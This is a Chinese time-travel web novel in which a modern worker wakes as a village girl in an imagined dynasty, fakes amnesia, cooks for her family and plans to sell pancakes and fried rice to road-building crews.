《我在古代卖包子》
1. 第 1 章
相传，桃李村原名叫桃坞，地势四面高而中间低，天上仙人看中了此地，隐世在此，而仙人钟爱桃花，便种了满山的桃树，因此将此地名为桃坞。
随着时代变迁，此地渐渐由李姓家族居住，如此已过百年，村子由桃坞逐渐改为桃李村。
桃李村遍地是桃树，以前有里长因桃子招虫惹鸟，不易保存且加上交通不便无法大量售卖，很多桃子都只能烂在地里，便想将桃树全部砍掉，但砍掉一部分后居然迎来几十年不遇的水灾。
于是里长砍桃树惹怒仙人的传闻便渐渐埋入后代的心里，之后再无人大面砍伐桃树，而桃李村的后代们也渐渐和桃树和解了。
此时的桃李村已熬过盛夏，凉风习习，漫山的桃树开始落叶，林间的鸟儿从睡眠中清醒，正在开嗓，夏末的蝉不甘示弱，也在完成它最后的使命，早起的人家已升起袅袅炊烟。
李姝便是在这安静祥和的环境中醒来的。
今天是周末，昨晚加班本就晚睡，醒来迷迷糊糊只感觉头疼的厉害，睁眼时隐约看到自己的床顶是缝了几块补丁的蚊帐，还有几根木梁组成的架子，自己还浑身无力，哪哪都疼。
难道我还在做梦？李姝晃了晃脑袋，只觉天旋地转，不自觉的呻吟出声。
我这是...脑震荡了吗？
右侧的大门吱吖一声，有人推门而入。
“姝儿，你终于醒了？吓死娘了！”
李姝闻声转头，只见一位只在历史书和各种古装剧中才能看到的古代农妇造型的妇人正快步走过来，此人身材中等，方圆脸，弯弯的眉毛有些细长，鼻头也是圆圆的，嘴巴微微向下，双眼倒是感觉很有神，皮肤上的斑和皱纹可看出，她应是不年轻了。
此时她眉头微蹙，双眼透露出担心。
李姝一瞬便明白，不是做梦，可实在是没有这里的记忆，只能茫然的看着眼前的妇人。
李母看着眼前眼神涣散的女儿，只觉心痛，放缓语气说：“姝儿，怎么了，可是头疼？告诉娘，哪不舒服？你爹已经去请你大头叔了，很快就会回来。”
头疼？确实挺疼，所以...是撞头了？
“娘？”
“怎么了姝儿，你不认识娘了？”李母满溢的担忧还是没忍住，不觉已哭了出来。
“我苦命的女儿啊，这天杀的野鸡，怎么就不降个天雷劈死它！”
看这妇人的伤心不假，李姝稍缓了心中的紧张，原身是个受宠的。
李母看到女儿还是没认出自己，只能期盼自家男人快点把大夫请来看看，这要是撞傻了可怎生是好。
幸好此时李忠拉着村里唯一的大夫李大头走了进来。
李母站起来让开床前的位置边说：“可算来了，他爹，孩子好像不认人了，这可怎么办啊！”
李大头听李母这么说，快步走到床前边说：“嫂子，先不急，待我先看看，姝丫头因撞到头了，暂时的不认人也是有可能的。”
李忠也心急，但也知道着急于事无补，只能先揪着一颗心安慰妻子：“先别急，让大头看看。”
李姝此时也听明白来龙去脉了，暗暗感受了下，幸好只是有点晕，并没有想吐，头痛也不剧烈，应该没有脑震荡。
这位大头叔把了一会儿脉，便放下了手。李姝看他神色，沉稳且笃定，便知道自己应是无恙。
“如何？”李父李母满脸焦急，却又不敢催。
“气血亏损，稍有瘀滞，无大碍。”
李父李母悬着的心终于放下一些，只李母还是对刚刚女儿不认人的情况担忧，“大头，姝儿似乎不认人，这是怎么回事？”
“此事确实奇怪，虽把脉时能看出体内确有瘀滞，但并不严重，为何竟会不认人？”李大头也两眼一抹黑，只好对李姝说：“姝丫头，你可认识我，可记得大头叔？”
李姝在他们谈话时便已暗暗回忆，但确实没有半点这里的记忆，原来的李姝可能已彻底离开了。
李姝微微摇头，“不识。”
李父李母刚放下的心又一次悬起来，李忠焦急的说：“大头，这怎么回事，这可怎么办？”
李大头只当是自己医术不精，无法看出病症，只能说：“先将身体养好要紧吧，等身体养好了，可找县里固生堂的大夫瞧瞧，惭愧，我学艺不精。”
李母再次哭的“惊天动地”，摊在地上双手拍着自己的大腿，嘴也没停着：“老天爷啊，救救我苦命的女儿吧！”
李忠双眉紧促，眼含泪光，本就已生皱纹的脸上，更是平添了几道新褶。看李大头在一边不知所措，只能先将情绪收起。
李忠把自个婆娘拉起来，“姝儿还躺在床上呢，这样更吵着她，本就头疼了，我先送大头出去，拿药回来煎给姝儿，别哭了，先把姝儿身体养好。”
李母看着躺在床上双眉微蹙的女儿，也不敢再哭了，赶紧点头，“好，快去，快去！”
李大头看着这一家，惭愧低头，跟着李忠出去了。
李姝将这一切看在眼里，自己没有记忆，往后也只能装失忆了，若是让他们发现自己非原身，还不知道他们会找些什么牛鬼蛇神来“救”女儿。
可记忆可以没有，性子和口味暂时还不能改，只能以后潜移默化，现在不能让他们看出变
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化太大。
李姝没想过要回去，昨晚加班时其实已经感受到自己的身体不舒服，心口疼且时不时呼吸困难。可当时实在太累了，只想好好睡一觉，期盼睡醒就好了，现在醒来就成了李姝，看来是没熬过昨晚。
不管为什么会来到这里，至少这一家都给了自己新生，原本自己在现代是孤儿，无依无靠，如今却多了真心实意对自己好的父母，李姝决定好好在这里生活。
看着李母在床前不住抹泪，李姝只好出声打断，“娘？”
李母马上应答，以为女儿记起来了，“哎，姝儿，可是记起娘了？”
李姝摇头，只说：“记不起，只觉亲切，娘，莫哭了，别哭坏身子。”
李母欣慰的笑了笑，“好，好，娘不哭了，就算我女儿以后都记不起来，也都是爹和娘的好女儿，爹和娘会一直疼你。”
李姝微笑回应，本想多说说话，可实在太困了，渐渐地便睡着了。
李母想着等下要熬药，看着女儿睡着，便悄声出门，准备去生火。
李姝再醒来时，已是日落时分，夕阳透过窗页照进屋里，地上的影子能看到窗边放了一篮花，李姝默默记下，转头在屋内打量起来。
这屋子应算宽敞，床头放了个梳妆柜，柜面上放了一个篮子，里面只有一把梳子、一只木簪和一些布条，这些应算是“首饰”了吧。
床边用屏风和大门隔开，床尾的墙边放了一排大柜子，应是衣柜，床尾和柜子中间还放了案几。
这些家具应是统一做的，无论是材质、颜色还是花纹，都是一样的，只是这些家具都已陈旧，床顶的蚊帐甚至还有补丁。
这一家子之前应是有钱人家，只是如今落魄了。
李母推门进来，看向床上的李姝，“姝儿，你醒了？娘给你拿药。”
“娘给你晾过了，不烫。”李父李母两人盯着李姝喝粥，又盯着喝药，生怕自己女儿再有个好歹。
李姝不做声地喝着，按这两人宠女儿的劲头，原身至少是个单纯的人。
“姝儿，头可还疼？”李母如今连话都不敢大声，就怕吓到女儿，只是时不时的要抹泪，心里暗骂老天爷不长眼。
“不疼。爹，娘，莫要伤心了。”
“哎，哎，好，爹娘不伤心，乖姝儿，一定要好好休息，休息好了身子才能好。”
看着女儿昏昏欲睡的模样，两人也不敢再打扰女儿休息，赶紧出去了。
半夜不放心，两人轮流进来盯了半宿，快天亮了方才睡下。
李姝本想打听更多关于原身的事，只是身体不允许，算了，有的是机会。
2. 第 2 章
十天后，李姝身体已好转，可以下床活动了。
这几天已将李家的情况摸熟，李家一家四口人，除了在家里的三位，李姝还有一位兄长，叫李挺，已是秀才，在县里的平山书院读书，每十日有一日假，会回来与家人团聚。
前几年因老爷子生病，将家里积蓄花光还卖了好些田地，现在老爷子虽已过世三年，但家里有个在书院读书的兄长，处处都得花钱，加上李父李母都是庄稼人，除了种地也没学什么手艺，一家人即使勒紧腰带过日子，到现在也未缓过来，仍过着稍许清贫的生活。
原来的李姝本想去山里摘些菇子，好晒干拿出去卖来帮家里减轻一点负担，但摘菇子时站的位置太危险，被突然蹿出来的野鸡吓了一跳，没踩稳滚下了山坡，头猛地撞到了树上，再醒来时，已是现代的李姝了。
现在的李姝已十四岁，鹅蛋脸，弯弯的眉像母亲，双眼清亮，睫毛浓密，再搭配圆圆的鼻头微翘的唇，这是一张很无辜的脸。
原身性子单纯乖巧，说话软糯，还是个小孩子，平日里除了干活不怎么出门，一起长大的姐妹嫁人了，只有她们回娘家时，李姝才会出去串门。
如今，只要把现代说话的习惯改一改，李姝已能熟练的在这个家中扮演原身的性子，老两口本就疼爱女儿，如今女儿失忆，他们也不会细纠女儿性子。
终于可以不用躺在床上浑身难受了，李姝走出院子看到李母正在菜园拾掇，菜园子种了些葱蒜、豆角、莴笋、白菜、韭菜，边上还种了一圈南瓜和丝瓜。
“姝儿，可好些了？可还头晕？”
“娘，我已经不晕了，爹呢？”
“虽你大头叔昨天说了，可下床走动走动，要是还有哪里不舒服，可要记得回去躺着。你爹被里正叫走了，说是要通知什么事，把村里各家当家的都叫过去了。”
“好，知道了，你在种什么呀，娘。”
“娘准备种萝卜呢。”
“我来一起弄。”李姝看着菜地的杂草，直接上手开拔。
“不用，你身子还没好，走走就行了。”李母看着懂事的女儿，眼里不觉露出心疼，哪里肯让女儿干活。
“没事的，娘，要是身子不适，我立马回去。”
李母拗不过女儿，只能由着她去，幸好天还早，还不算太热。
母女俩忙活半天，终于将地翻好，李姝看着天不早了，便跟母亲说了先回去做饭。
在床上躺着无所事事时，李姝便想过要怎么改善目前这一家人的生活。
现代的李姝只是一个平平无奇打工仔，每月拿着四五千的工资，除了工作就是睡觉刷剧看小说，什么技能都没有。偶尔会下下厨，做点东西犒劳自己，不过仅限于家常菜。
这几天母亲做的饭菜她尝了，其实很一般，至少没有自己做的好吃，但看父亲吃时反应正常，李姝也拿不准，不知道是这个时代的人做饭都这样，还是仅限于母亲。
或者只是自己不习惯这里的口味。如果可以，没准能做些吃的去卖？
还是先试试家里人的口味吧。
李姝检查了下，厨房除了米面鸡蛋外，就剩下些菜干和盐酱油以及一点猪油这些日常的调味品了，甚至都没有糖和醋，可能是因为平时不怎么用。
李姝只能先淘米，把米饭放陶碗里，隔水蒸上，再拿了三个鸡蛋，打散放在一旁备用，期间出去摘了点白菜和葱叶，葱叶切成葱花，白菜切成细丝亦放一旁备用。大概蒸了一刻钟，李姝把三大碗米饭端出来待稍凉后舀到大碗里打散散热，新打两个鸡蛋黄进去搅拌，让每粒米饭都沾上鸡蛋液，鸡蛋清倒入打散的鸡蛋中一起搅拌。
起锅烧油，先将打散的鸡蛋倒进锅里，快速搅拌，片刻便已成型，盛出一旁备用。再加些油，油热转小火，下入米饭不停的翻转锅铲，去掉米饭中的水分，待米饭炒到粒粒分明，加入白菜丝和炒好的鸡蛋，继续翻炒，炒至白菜丝变色，加入盐和酱油调味，快速翻炒，最后撒入葱花，一锅香喷喷的蛋炒饭便已成型。
李姝将蛋炒饭盛出端到桌上，看母亲正在外头水井边上洗手，父亲还未回来，便拿了粗布将饭盆盖住。顺便收拾下厨房，看着油罐中少掉的一大勺猪油，李姝有点心虚，只能用瓦盖盖住假装没看见。
“姝儿，你做的什么，这么香？”
李母走近饭桌便闻到一阵香味，拿开粗布后看到金黄油亮的炒米饭，炒饭粒粒分明，搭配鸡蛋和白菜，加上葱花点缀，金黄翠绿，怪好看的。
“姝儿，你这米饭炒的香，还好看，比娘做的好。”
李姝没答话，原身虽得爹娘宠爱，但并不是个懒惰的，饭菜应是会做，只是味道不一定好，如今突然变了...
“娘，爹还没回来吗？”
“还没回，应该也快了，我们这连县令都不光顾的地方，能有啥大事。”
说着便听到院门被推开的声音，李忠回来了。
“他爹，回来了？正好吃饭了，姝儿出息了，做的饭比我好多了。”
“是吗？姝儿做了什么，很香啊，我女儿真是厉害。”李忠笑呵呵的走进来。
李姝松了一口气，是她多想了。
李姝把碗筷拿出来开始盛饭，边说：“爹，娘，快吃饭吧。”
“姝儿，你这米饭炒的很好吃，加了白菜后清爽解腻，比你娘做的好吃多了。”
“什么意思，李忠，这么多年吃我做的饭吃腻了是吧，以后别吃我做的。”
李忠笑呵呵的赔罪，“哪有的事，我是说姝儿做的太好吃了，他娘，别生气了啊，你做的怎么会吃腻呢，一辈子吃不腻。”李母娇嗔，算你识相。
李姝笑嘻嘻的看着父母打闹，她大概也知道了结果。估计自己做的就是正常水平，并没有超出这个时代的口味。
回想起自己前几日吃的饭，果然，确实是母亲的问题，这个时代的饮食味道并不是她以为的很差。成为大厨开酒楼一路闯关的想法直接破灭。
“对了，他爹，里正找你们去说了什么？”
“里正说我们村子要修路了，县令正在募集人手，里正让我们这些没有手艺但有把子力气的都去县衙应聘，朝廷会按月发放工钱。”
这个朝代国号为启，当今皇帝登基后改年号永安，而皇帝登基十年来，将前朝因常年战事方歇而休养生息的局面渐渐发展成如今政通人和的景象，隐约已有盛世之兆。
近月，皇帝颁发新令，具
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体原话是什么百姓不太关心，但县令说桃李村终于要修路了，那这新令便是利民的好政令，让桃李村村民直呼皇恩浩荡。
原先因地势问题，桃李村通向外面的路都很窄小，马车无法通过，村民赶集时如不买东西便走路，若要买些物件则坐马车，但马车通过也很颠簸，时不时还要坐车的人下来推车，往往都是坐车一半路，推车走一半路，十分不便，如今终于要修路了，以后来往城镇都会方便许多。
“修路？他爹，这工钱是多少里正有说吗？”
“没有，但里正说了，朝廷体恤百姓，修路又是苦力活，工钱会比一般市价高一些。”
李母瞬间高兴了起来，忙笑着说：“他爹，明天一早你就去应聘吧，家里目前没有什么活计，地里种菜这些我可以做。”
她也没办法，不是不体恤丈夫辛苦，只是女儿快到适婚年龄了，家里再疼爱也不能留太久，加上还有儿子在书院读书，家里银钱远远不够。
虽儿子平日会做些抄书的活计减轻负担，但该花的费用还是不少，现在有机会凭一把子力气赚钱，自然是不能放过这次机会。
“自然，我明天一早就去。”李忠自然也不想错过这次机会。
“爹，朝廷为什么会突然修路，里正有说吗？另外是只有我们桃李村修路吗？县里其他行路不便的村子是否也会修路？”
“这个倒是没说，怎么了姝儿，有什么不妥吗？”
“没有，只是不明白为何这么突然。”李姝虽疑惑，桃李村车马不同已经很久了，突然修路肯定是有原因的，但以这个小地方的闭塞，也不可能会知道什么消息。
不过既然要修路，那肯定有人。
“爹，明天您去应聘时，顺便打听一下，还有没有别的村子也修路，另外问问本次县衙要招多少工人，工期是多长，工人干活朝廷是否包吃食。”
“姝儿，你要打听这些事做什么？”李忠不解，女儿失忆后似乎活泼了不少，比原先少了些小女儿形态，像是成熟了许多。
“爹，娘，女儿跟你们商量个事，我想去修路的地方卖些吃食，到时修路必定有很多工人，如果朝廷不负责饭食，那我们到时可以做些新鲜的吃食过去卖，总比工人们自己带的冷食好。”
“但是做活的都是像咱们这些家里拮据的，我怕他们会为了省钱而宁愿吃自家带的吃食。”李忠为女儿的成长欣慰，本不想打击女儿的信心，只是也想让女儿考虑周全。
“我知道的，爹，我卖的都是些低成本的小吃，价钱也不会定的很贵，这样他们就算买了也不会太心疼。”
“那姝儿，你想卖什么，娘可以帮你，跟你一起卖。”
“今晚的炒饭可好吃？咱们卖炒饭可好？也可以卖些现煎的饼子。这些吃食成本不高，也比较顶饱，应该会有人买。”
“这倒是可行，姝儿今天的炒饭不仅好吃，还好看，就是跟饭店的相比，也是不差的。”李母高兴的像是掉钱眼了，还不知道成不成呢，眼里已经看见钱哗啦啦掉下来了。
李忠看母女俩高兴的样子，也同意了，不管成不成，至少家里又多了一个希望。
一家人其乐融融地说了很久的话，才各自回房休息。
3. 第 3 章
第二天李姝起了个大早，把母亲劝出了厨房，想要自己做早饭，并让母亲帮忙摘些韭菜和泡点萝卜干备用。
先将面粉倒入大盆中，一半一点点加入热水，将面搅成絮状，一半加入冷水同样的方法搅成絮状，再将两半面混合一起揉成面团，面团稍微光滑后盖上粗布，放一旁醒面。
趁这时间，李姝拿了三个鸡蛋出来，倒入碗中打散，起锅热油后，改为小火，将蛋液倒入锅中用筷子快速搅拌，直至搅成鸡蛋碎，盛出碗中备用。
此时李母已将韭菜洗净拿了进来，李姝将韭菜切成葱花般大小，倒入鸡蛋碎中搅拌，并加盐油调味，为了保持韭菜新鲜清甜的口味，李姝除了盐油再未加其他。
面还未醒好，李姝拿了个砂锅出来，加入清水并放在炉上加热，然后舀了点米淘洗干净，待水开后，加入大米，旺火煮米，时不时搅拌一下，过了约一刻钟，大米已煮开，此时转小火，放在一旁慢慢熬煮即可。
面团醒好后，李姝将面团再次揉了约一炷香时间，然后面团中间穿孔，将面团弄成长条，再分成大小适中的剂子。案板撒上面粉，将剂子擀成薄饼，加入韭菜鸡蛋馅，像包包子一样将馅料包起来，再用手略微按压，一个生坯便做好了，李姝一共做了十个。
起锅热油，将生坯放入油锅中煎熟，不时的翻转饼坯，待翻转个五六次，饼坯已煎至两面金黄，李姝将饼盛出，一盘韭菜鸡蛋饼就做好了。饼两面金黄泛出油光，还微微透出韭菜的翠绿，捏起来有酥脆之声，且十分有弹性。
此时米粥也煮好了，开盖后米香四溢，将火调大，边用勺子不停搅拌以防粘锅，约一炷香时间后，水米相融，白粥越发香浓粘稠，香喷喷的白粥便可出锅。
李姝将饼和粥端出去后，再切了点提前泡好的萝卜干，起锅热油，将萝卜干快速翻炒，最后加了点酱油上色，翻炒均匀后加入葱花点缀，便盛出装入碗中。
李父李母看着女儿利落的将早饭摆好，想起十天前还躺在床上虚弱的样子，此时终于是放下心里的石头了。
还好老天有眼，将他们的女儿救回来了。
“爹，娘，快趁热吃，凉了就不好吃了。”李姝看父母坐着发愣，赶紧催促，她在家里并没有见过母亲做馅饼，但家里是有面粉的，不知道平山县的人平时的面食都有哪些。
“哎，好，好，爹娘看你恢复的好，是高兴呢，姝儿，你这做的是饼子？娘以前从未见过。”此时李母拿了个饼吃了起来。
一口咬下去，韭菜的清甜和油煎的鸡蛋香气扑面而来，饼的表层微微酥脆，里层经过馅料的汁水浸润，整个口感外酥里嫩，味道清甜焦香。
“姝儿，这馅饼很好吃，娘以前从未吃过，你这是从哪学来的？”
“对啊，姝儿，我们平时面粉就用来做点面疙瘩，或者做点馒头和糖糕，这馅饼都是县里才见过。你怎么学的？”李父也满脸惊讶，女儿自从撞到头后，变了许多。
父母的怀疑李姝想到了，但自己要卖吃食，总归瞒不住。
反正已经“失忆”了，李姝干脆装傻充愣，这两人疼爱女儿，即使有所怀疑，也不会让女儿在什么假道士手上受折磨，只要相处的时间够长，他们自然会习惯。
“我也不知道为什么会做，想做的时候，脑子里就知道怎么做了，估摸是以前跟爹娘去过县里，见过？”
这平山县是有馅饼的，李姝大胆猜测，原身肯定见过。
“之前带你去县里给你买过包子，是那时见到了？”李母不禁回想那时因为馅饼比包子贵两文钱，最后只能给儿女买了包子，估计那时姝儿瞧见别人吃馅饼了，馋了只能自己琢磨着做。
李姝看着母亲越来越慈祥的眼神，默默不说话。
不用她应和，口子已经给了，事情的“真相”总能被拼凑出来。
李父也是想起了那时的情景，默默下定决心，一定要努力应聘，让儿女过上好的生活。
“这粥也好喝，又稠又糯的，还香。”李母喝粥时又不禁惊叹了，女儿生病后怎的厨艺好了很多。
“可能是水加的少，加上熬的时间久了。”
老两口也并未多想，毕竟就一锅粥而已，谁会想到熬粥也会用这么多技巧呢。
“爹，娘，这个饼子到时我拿去卖可行？这是素饼，咱也不卖贵了，县里的包子是多少钱一个？”
“这馅饼倒是可以卖，我们只在县里一家陈记包子见过馅饼，他们的肉馅饼个大，要五文钱一个，素馅饼倒是没见卖过，素包子是一文钱两个，肉包子两文钱一个。”
“姝儿，你想定什么价格？”李忠不禁担心会卖不出去，毕竟一个馅饼五文钱的话，可能会没人愿意买。
“那我们卖一文钱一个？我们这馅饼这么大，就算是素的也是不比肉包子差的。”
“行，一文钱吃这一口热食，也总好过吃冷食，天气虽热，但吃多冷食还是容易生病，谁家婆娘都会心疼自家男人，这点钱还是愿意使的。”李母越说越觉得有戏：“姝儿，明天你教教娘，娘也学学。做多点就能卖不少钱呢！”
李姝和父亲对视一眼，相似的双眼都藏着笑意。
这可不是做多了就能卖出去的...
吃罢早饭，李忠立马出门去县衙了，母女俩都没心思干活，中午随便炒了两个菜吃了，便干等着到晚上。
李母实在待不住，只好去里正夫人家里串门了，正好打听下桃李村有多少人去了应聘。
李姝睡了个午觉，醒来看母亲还没回来，便偷偷在村里走了走，毕竟受伤的事情才过了不久，父母都不让她出门。
桃李村因桃花而命名，从东边的村口到西边的村尾，大路两侧都是桃花树，村子中心有一棵颇为高大的桃树，从粗壮的树干可看出来有些年头了，村子四周都是山，除了村口，其他地方都无法进来，除非翻山越岭。
李姝从家里出来后，经过自家菜地，再走过一片水田，便到了大路，沿着大路往东侧方向看，便看到大桃树在远处矗立着，一枝粗壮的枝干斜侧伸出，远处看像是巨人伸出一只手臂在抚慰着桃李村，可以想象待桃花盛开之时，这桃李村的守护神定会将桃花化为祝福洒落整个村子。
李姝一路往大桃树方向走去，路上并未遇到人，估计现在人最多的就是里长家了。
约一盏茶功夫，便走到了，桃树下用木头和竹篾搭了个棚子，估计平时村子里的大型活动都在这举行。
两侧共有五户人家，三三两两的分散着，其中最大的一户人家里正传出络绎不绝的笑声和说话声，李姝听到了母亲那标志性的爽朗大笑。
“这是谁家的姑娘啊？”
突然李姝身后传来一个妇人的声音，转身看到一位身穿藏青色粗布短褂，慈眉善目的奶奶正看着自己，奶奶眼睛似乎看不太清楚，不停的眨眼。
李姝走近，弯腰答：“我叫李姝，我爹是李忠。”
“哦，忠小子家的姑娘啊，是小姝吧。”
“是的，奶奶，我是小姝。”
“小姝啊，可怜见的，身子可好些了？头可还疼了？还认识莲花奶奶吗？”莲花奶奶伸手摸了摸李姝的头，很是怜爱。
“身子好多了，头也不疼，不过我不太记得以前的事了奶奶。”
“哎呦，这该死的老天爷啊！怎么就让我们这么乖的小姝遇到这样的事，那天奶奶看着你往村口那虎儿山去了，奶奶应该把你劝回去啊，都怪奶奶，越老越不中用。”
老人的懊恼不似作假，看来李姝一家和这位莲花奶奶很是亲厚，生病这几日，李姝光和父母套话原身性格和自家的一些情况了，没来得及问亲戚。
李姝搀着老人家，轻声回到：“奶奶，怎么能怪您呢。”
“幸好救回来了，要不然奶奶都没脸去见你祖父，老天爷保佑啊。”
...这个时代的老天爷似乎挺冤的。
李姝劝了好一阵，才把老人家情绪给安抚下来。
“你是来找你娘的吧，你娘就在顺贵家呢，就那间声最大的，说是什么应聘的事，年纪大了，不懂他们年轻人的事咯。”奶奶说着一边还指着里长家给李姝看。
“哎，好，知道了，奶奶，我等会找我娘，您回去吧。”
“你这小女娃，是不好意思了？奶奶给你叫。”
莲花奶奶，其实我不想让我娘知道我出门了...
“忠小子家的，小姝找你来了！”李姝刚想阻止，就条件反射的缩了一下肩膀，耳边似乎还能听到回音，只是嗡嗡嗡地也听不清。
...合着您刚跟我说话是压嗓子了。
“翠花，小姝找你来了！”奶奶看里面没反应，又吼了一嗓子，李姝猝不及防，肩膀又缩了一下，旁边的桃花树落下几片叶子，李姝怀疑是被震的。
“怎么了怎么了？姝儿怎么了！”
谁知屋子里的张翠花，也就是李母，以为自己的宝贝女儿又出事了，慌慌张张的跑了出来。
“娘，我没事，莫慌莫慌。”母亲惊慌失措的跑出来，李姝心底微微触动，这一家子感情真的很好，父慈母爱，她不过是个孤儿，却白捡了别人的疼宠。
李母跑出来看到女儿好好地站在门口，揪起来的心总算是放下了。
“怎么回事，姝儿，吓死娘了，你怎么跑出来了？”
“怪我怪我，我想着小姝不好意思喊你，帮着叫你两嗓子。”莲花奶奶不好意思的笑，笑得满脸褶子，像是犯错的小孩。
李母无奈的回话：“婶子，您这嗓子啊，桃李村是没人能喊得过您了。”
“那可不，翠花，想当年我婆婆是咱镇中数一
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数二的好嗓子，每三年举办的农歌赛可是拿过奖的。”说话的是一位壮实的妇人，圆脸，说话时浓密的眉毛上下飞舞，眼睛炯炯有神，嗓音偏厚，应是一位爽朗之人。
“哎哟，姝儿都瘦了，本来就是个小身板，现在瞧着更是瘦成竹竿了。”
李姝差点没叫出声，这婶子边说话还要边捏自己的脸和肩膀。
婶子，您这力气可以倒拔垂杨柳了。
幸好李母出手，一下打掉了李姝肩膀上的手。
“张桂香，小力些，知道我姝儿身子弱还用这么大力气，小脸都被你捏红了。”
“姝儿，这是你桂香婶子，跟娘一样都是隔壁张家村的，娘跟她一起长大的，小时候你总是喜欢跟着她，还记得吗？”
“娘，我不记得了。”李姝摸了摸头，装作回忆了一下，这戏估计得演一阵了。
张翠花眼底滑过失望，还是过几天带女儿去县里看看大夫吧。
“桂香婶子好。”
“哎，我的好小姝，不记得就不记得，没事，身子养好最重要。都怪婶子，下手没轻没重的，疼不疼？”
“不疼的。”
“哎哟，小姝还是这么乖，到婶子家，婶子给你拿糖糕吃。”说着便拉着李姝到里长家对面的屋子走。
糖糕？面粉做的吗？倒是可以看看这里的面食都有什么，口味如何。
回头看了一下母亲，见母亲点头，李姝便跟着桂香婶子走了。
“小姝头没撞傻吧，现在人都不认得了？以后还怎么找婆家，怕不是要当一辈子老姑娘了。”村里唯一跟李母不和的便是这位吴红枚，年轻时差点嫁给李忠，后因桃花村里李进给了更多的彩礼，她家里最后便将她嫁给了李进，按理说本是自己家嫌贫爱富让她嫁给别人，但她却对最后嫁给李忠的张翠花哪哪看不顺眼，次次都要掐架。
本就为女儿记不得事发愁，还有人上赶着找骂，张翠花火气蹭的就上来了。
“我家姑娘嫁不嫁用不着你来操心，你还是管好你那数都数不清的儿子吧，早点让他另谋出路，别往书院送了，省的脑子越学越不会转。”
吴红枚脸都黑了，偏偏人家说的还是实话，自家儿子在书院成绩回回垫底，而张翠花家的小子成绩却好得远近闻名。
也是知道自己理亏，平白污人家姑娘名声，吴红枚也不敢再闹，只白张翠花了一眼就落荒而逃。
李姝支着耳朵听外面的动静，吵架的精髓就是专戳人痛处，娘，好样的！
此时在边上看戏的众人仿佛才反应过来，忙在一旁开导：“没事，不认人就重新认，我看小姝就挺好的，又乖巧又懂事。”
“就是就是，吴红枚这人就这样，几十年了也没变过花样，不用理她。”
“姝儿，这是婶子早上刚做的糖糕，快尝尝，你小时候可喜欢吃了。”
“姝儿？姝儿！”
李姝两只耳朵都用来听外面的动静了，这一嗓子叫过来，肩膀又不自觉的缩了一下。
果然婶子能和莲花奶奶成为一家人，莲花奶奶挑儿媳妇是按嗓子挑的吧。
“哎，哎，婶子。”
“别管她们，那吴红枚就是嫉妒你娘生了你们兄妹俩这么好的儿女呢。她就生了一个儿子，儿子十五岁了，是个手指头的数都数不明白，回回成绩垫底，连你哥一根手指头都比不上。”张桂香一脸笑意，是真心为她们兄妹开心。
李姝乖巧的笑了笑，果然能跟娘成为闺蜜，损人都损一块去了。
“尝尝这糖糕，你以前可爱吃了。”
“好，谢谢桂香婶子。”
李姝看着这糖糕，有点像以前吃过的松糕，不过估计是没加酵母，所以并不蓬松，甚至有点结实，咬了一口，发现有一点点甜味，这应该就是面粉加水和糖搅拌后，直接上锅蒸熟的。
说实话，这糕点和我娘做的有一拼，可能是蒸太久了，糕点表面沾着水珠子，口感大打折扣。
“怎么样，好吃吗？”
“好，好吃，好吃。婶子，我吃一块就行了，大头叔说我身体刚好，不要吃太多，容易积食。”
“好好，要听大夫的，下次想吃了，就告诉婶子，婶子给你做。”
下次还是我给您做吧，“好，一定不会和婶子客气。”
“哎哟，你娘这好福气，生了你这么乖巧的女儿。”张桂香又忍不住上手捏了捏李姝的脸，这女娃的眼睛一闪一闪的，乖巧又无辜的看着你，心都要化了。
“婶子，我娘好像叫我了，我先回去了，可能我爹也快回来了，我下次再来。”躲也躲不掉，力气也比不过，李姝只能跑了。
“好，下次记得来找婶子。”张桂香笑盈盈地看着小丫头敢怒不敢言，这丫头，跑得倒是快，只是这手感...确实不错，下回再捏捏。
4. 第 4 章
李忠约申时末才回，看着进门时父亲的笑容，李姝猜到结果了。
“怎么样，他爹，应聘过了吗？”
“过了过了，每个月有一两银子工钱呢。”
李母高兴坏了，忙嚷嚷着要去桂香家还有里长家报喜，好不容易让父女俩拉住了，让她明天再去。
李姝看着父亲满头汗，拉着父母进了屋，端了水给父亲。
“他爹，怎么这么晚回来，可是去书院看儿子了？”李母好奇的问道。
李忠灌下几杯水才缓过来，还是女儿贴心。
“没去，儿子上次放假时叫人稍口信说不回了，这次肯定会回来的，也就几天的事，又不是给他捎东西，省得打扰他。”
说到儿子，老两口有点心虚，姝儿这次撞头他们俩没去告知儿子，下回儿子回来...
两人都有点犯怵，要不要告诉姝儿...？
李姝听消息听到一半，父亲母亲都不说话了，转头看了父母一眼，两人默契地避开了眼神对视...
这个家是有什么秘密吗？关于她的？
“爹，娘？”
“哎，哎，他爹，刚说到哪了？”她娘还暗暗跟她爹对了下眼色。
您女儿是失忆了，不是瞎了...
“哦，刚说到哪了？回来的晚。这回去的人多，隔壁的张家村和景石村，以及再远一点的上坪村和下坪村都有十几号人去应聘，也就咱村子小，人少点，我估摸着应聘的人都有百来人了，就耗费了点时间。”
“这么多人？他爹，可看到张家村的人有我族中兄弟？”
“看到二婶家的大强了，不过他没聘上。”
“大强一贯是个懒的，被二审宠成什么样了，他怎地还去了？”张翠花娘家地多，家里的男人都不够用，修路这苦活跟种地不一样，连着四五个月早出晚归，不是真缺钱的都不太会去。
“问了，说是二叔嫌他在家窝着，把他赶出来应聘的。”
...这懒娃。
五个村子？这人数不太对。
“爹，还有外地人去应聘吗？”
李忠赞赏的看了女儿一眼，他不是没想过女儿失忆后变了许多，今天还悄悄去问了固生堂的大夫，只是大夫也说没见过这种情况，只说让下次带女儿过去看。
可这是自己的女儿，变不变的又有什么关系呢？女儿如今沉稳聪慧，比之前长大成熟了许多，是好事。
李姝抬头，却看到她爹眼神里的探究，她心里一紧，可一眨眼发现，明明她爹眼里只有慈爱，是眼花了吗？
回想刚才的话，刚刚，是我算数太快，让爹怀疑了？
李姝十分懊恼，这几日因着爹娘疼爱，她放松了许多，可她忘了，这个时代并没有女子学院，顶多大家族会为家中女子请老师教导，可这毕竟少数，原身最多跟哥哥认了几个字，不太可能会算数，就算会，也不大可能这么快就能算出来。
这会儿她爹可能只是怀疑，只要后面伪装得好一点，不再露馅，他也只会以为自己想多了，李姝悄悄放下心，只是暗暗下定决心要更谨慎。
李忠不知自己对女儿的欣慰，让女儿想了这么多，只喝了口水，假装清了清嗓子答：“还有些是本身在县里做工的人去应聘了，他们都是做惯了粗活的，个个都壮实，把我们各个村的人都挤下去了不少。”
苦力活也有这么多人抢着做吗？这平山县是个贫困县？
